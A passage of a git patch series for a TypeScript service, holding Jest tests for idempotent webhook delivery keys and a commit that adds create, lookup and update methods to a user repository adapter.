type { Pool } from 'pg'; + +jest.mock('./db/client', () => ({ + pool: { query: jest.fn() }, + query: jest.fn(), + dbHealth: jest.fn(), + closePool: jest.fn(), +})); + +const mockFetch = jest.fn() as jest.MockedFunction; +global.fetch = mockFetch; + +function makeEndpoint(overrides: Partial = {}): WebhookEndpoint { + return { + id: 'endpoint-1', + url: 'https://example.com/webhook', + secret: 'secret-1', + owner_id: 'owner-1', + events: ['*'], + active: true, + created_at: new Date(), + updated_at: new Date(), + ...overrides, + }; +} + +function makeDelivery(overrides: Partial = {}): WebhookDelivery { + return { + id: 'delivery-1', + endpoint_id: 'endpoint-1', + payload: {}, + attempts: 0, + status: 'pending', + next_retry_at: null, + last_error: null, + created_at: new Date(), + updated_at: new Date(), + ...overrides, + }; +} + +describe('WebhookQueue idempotency-key propagation (transactional outbox)', () => { + let repo: WebhookEndpointRepository; + let service: WebhookService; + + beforeEach(() => { + jest.clearAllMocks(); + jest.useFakeTimers(); + globalMetrics.reset(); + + repo = new WebhookEndpointRepository(pool as unknown as Pool); + service = new WebhookService(repo); + WebhookQueue.init(repo, service); + (WebhookQueue as unknown as { inFlight: number }).inFlight = 0; + + mockFetch.mockReset(); + jest.spyOn(repo, 'findByUrl').mockResolvedValue(makeEndpoint()); + jest.spyOn(repo, 'createDelivery').mockImplementation(async (d) => + makeDelivery({ + endpoint_id: d.endpoint_id!, + payload: d.payload, + attempts: d.attempts || 0, + status: d.status || 'pending', + }), + ); + jest.spyOn(repo, 'updateDelivery').mockImplementation(async (id, updates) => + makeDelivery({ id, ...updates }), + ); + jest.spyOn(repo, 'findDeliveryById').mockResolvedValue(makeDelivery()); + }); + + afterEach(() => { + jest.useRealTimers(); + }); + + test('forward the outbox event_id as the delivery payload id (exactly-once key)', async () => { + mockFetch.mockResolvedValueOnce({ ok: true, status: 200 } as Response); + + const outboxEventId = 'e63e2607-4f83-4dc2-b3d3-c29f4b0b6e2e'; + const result = await WebhookQueue.processDelivery('https://example.com/webhook', { + id: outboxEventId, + event: 'distribution.completed', + payload: { run_id: 'r1' }, + timestamp: '2026-08-30T00:00:00.000Z', + }); + + expect(result).toBe(true); + expect(mockFetch).toHaveBeenCalledTimes(1); + const call = mockFetch.mock.calls[0]; + const body = JSON.parse(call[1]!.body as string); + // The receiver's webhookEventOrdering dedup reads event.id — it must be the + // stable outbox event_id, not a fresh delivery row id. + expect(body.id).toBe(outboxEventId); + }); + + test('a retried dispatch of the same outbox row reuses the same event_id', async () => { + mockFetch + .mockResolvedValueOnce({ ok: false, status: 500 } as Response) + .mockResolvedValueOnce({ ok: true, status: 200 } as Response); + + const outboxEventId = '72af1c9d-5f5f-4f5e-9c9b-5f5f4f5e9c9b'; + const payload = { + id: outboxEventId, + event: 'payout.failed', + payload: { payout_id: 'p1' }, + timestamp: '2026-08-30T00:00:00.000Z', + }; + + // Seeding webhook_deliveries is mocked: each processDelivery call without a + // delivery id starts from the same pending state, mimicking the dispatcher + // retrying the same outbox row on the next poll. + const first = await WebhookQueue.processDelivery('https://example.com/webhook', payload); + expect(first).toBe(false); + + const second = await WebhookQueue.processDelivery('https://example.com/webhook', payload); + expect(second).toBe(true); + + const ids = mockFetch.mock.calls.map((call) => JSON.parse(call[1]!.body as string).id); + expect(ids[0]).toBe(outboxEventId); + expect(ids[1]).toBe(outboxEventId); + }); + + test('falls back to the delivery id for legacy payloads without an id', async () => { + mockFetch.mockResolvedValueOnce({ ok: true, status: 200 } as Response); + + await WebhookQueue.processDelivery('https://example.com/webhook', { test: true }); + + const call = mockFetch.mock.calls[0]; + const body = JSON.parse(call[1]!.body as string); + expect(body.id).toBe('delivery-1'); + }); +}); \ No newline at end of file From 44e69c23da91fd69c63e4f9869c7ab020976d188 Mon Sep 17 00:00:00 2001 From: "EjiroMowarin.dev" Date: Sat, 17 Oct 2026 18:32:29 +0100 Subject: [PATCH 2/3] fix: Add regression coverage for User failure handling (#1027) From f0010d84e06ca935851a2001bc76b4fdbd719d8a Mon Sep 17 00:00:00 2001 From: "EjiroMowarin.dev" Date: Sat, 17 Oct 2026 19:11:53 +0100 Subject: [PATCH 3/3] fix: Add regression coverage for User failure handling (#1027) --- src/auth/login/userRepositoryAdapter.ts | 36 ++++++++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) diff --git a/src/auth/login/userRepositoryAdapter.ts b/src/auth/login/userRepositoryAdapter.ts index 59be0e59..38a476fa 100644 --- a/src/auth/login/userRepositoryAdapter.ts +++ b/src/auth/login/userRepositoryAdapter.ts @@ -11,7 +11,41 @@ export class UserRepositoryAdapter implements UserRepository { return { id: user.id, email: user.email, - role: user.role as any, + role: user.role as UserRecord['role'], + passwordHash: user.password_hash, + }; + } + + async create(email: string, passwordHash: string, role: string): Promise { + const user = await this.dbRepo.create(email, passwordHash, role); + + return { + id: user.id, + email: user.email, + role: user.role as UserRecord['role'], + passwordHash: user.password_hash, + }; + } + + async findById(id: string): Promise { + const user = await this.dbRepo.findById(id); + if (!user) return null; + + return { + id: user.id, + email: user.email, + role: user.role as UserRecord['role'], + passwordHash: user.password_hash, + }; + } + + async update(id: string, updates: Partial): Promise { + const user = await this.dbRepo.update(id, updates); + + return { + id: user.id, + email: user.email, + role: user.role as UserRecord['role'], passwordHash: user.password_hash, }; }